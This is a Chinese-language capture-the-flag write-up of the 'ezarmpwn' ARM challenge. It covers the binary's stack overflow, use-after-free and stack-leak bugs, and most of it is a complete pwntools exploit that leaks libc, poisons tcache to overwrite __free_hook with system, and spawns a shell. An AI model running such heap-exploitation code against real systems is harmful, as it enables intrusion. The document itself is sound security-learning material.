西湖论剑IoT闯关赛复现

ezarmpwn

分析程序

首先查看程序保护机制

32位程序

libc是2.30

没有canary(基本是栈溢出)

无PIE(果然ez)

静态分析

register

输入的username长度没有限制,然后复制到dest上,可实现栈溢出


Add函数

可添加 size<=0x70的heap(tcache,fastbin)


Delete

UAF漏洞


modify

修改dest,由于dest是0x40大小,可以溢出0x8个字节,同时注意到buf是没有初始化的,我们可以通过这个泄漏栈里面的数据


Info

info打印username和password

利用分析

1.泄漏地址

由于程序有个printf打印username和passwd,可通过将\x00覆盖得到想要的地址

通过分析username可以泄漏地址,分析passwd得知通过modify函数可以泄漏libc

  • 0xfffef084是passwd的地址,可以看到里面有libc的地址

2.利用分析

  • 栈溢出控制返回地址

  • UAF漏洞(tcache,fastbin,unsortedbin) 这里是32位系统,fastbin大小是0-0x50

    由于版本是libc-2.30.so

    而且我们只能使用add和free,所以tcache bin attack无法完成

    如果是fastbin attack也不行,因为只能申请 0xf 次

    但是我们可以用 overchunk 的思想

    通过合并堆块0和1之后再分配一个大的堆块2(unsortedbin的大小),这样就可以伪造堆块1了

    由于是UAF,所以free掉堆块1就可以进入tcache了

    然后free掉堆块2,再分配一次可以将tcache改为free_hook就可以分配进去了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

from pwn import *


context.log_level="debug"
def info():
   p.sendlineafter("> ","2")


def play():
   p.sendlineafter("> ","1")


def add(index,size,note):
   play()
   p.sendlineafter("> ","1")
   p.sendafter(": ",str(index))
   p.sendlineafter(": ",str(size))
   p.sendafter(": ",note)


def delete(index):
   play()
   p.sendlineafter("> ","2")
   p.sendlineafter(": ",str(index))
   
p=process(["qemu-arm","-g","1234","-L",".","./pwn3"])
#p = remote("20.20.11.14", 9999)


un="aaaaa"
pd1="bbbbb"
pd2="bbbbb"
p.sendlineafter(":",un)
p.sendlineafter(":",pd1)
p.sendlineafter(":",pd2)
p.sendline("")


p.sendlineafter("> ","3")
p.sendlineafter(":","a"*0x20)
p.sendline("")


info()
p.recvuntil(": ")
libc=u32(p.recv(4))+0xff69cba0-0x044ba0-0xff68a248
# print hex(libc)


for i in range(9):
   add(i,0x40,"aaaa\n")
add(15,6,"a\n") #0x10
add(14,6,"a\n") #0x10
delete(15) 
delete(14) #tcache[0x10]=14->15
for i in range(9):
   delete(8-i) #fastbin=0->1 
free_hook = libc + 0x1479cc
system    = libc + 0x3a028
add(9,0x70,"a"*0x40+p32(0)+p32(0x11)+p32(0)*3+p32(0x39)+"\n") #overchunk
delete(1) #tcache[0x10] = 1->14->15
delete(9)  
add(10,0x70,"a"*0x40+p32(0)+p32(0x11)+p32(free_hook)*3+p32(0x39)+p32(libc+0x1479cc)+"\n")
add(11,8,"/bin/sh\x00")
add(12,8,p32(libc+0x3a028)+"\n")
# print hex(libc+0x1479cc)
delete(11)
p.interactive()

参考

exp参考chamd5的wp,如果分析有错请批评指正

邮箱:VinadiakT@outlook.com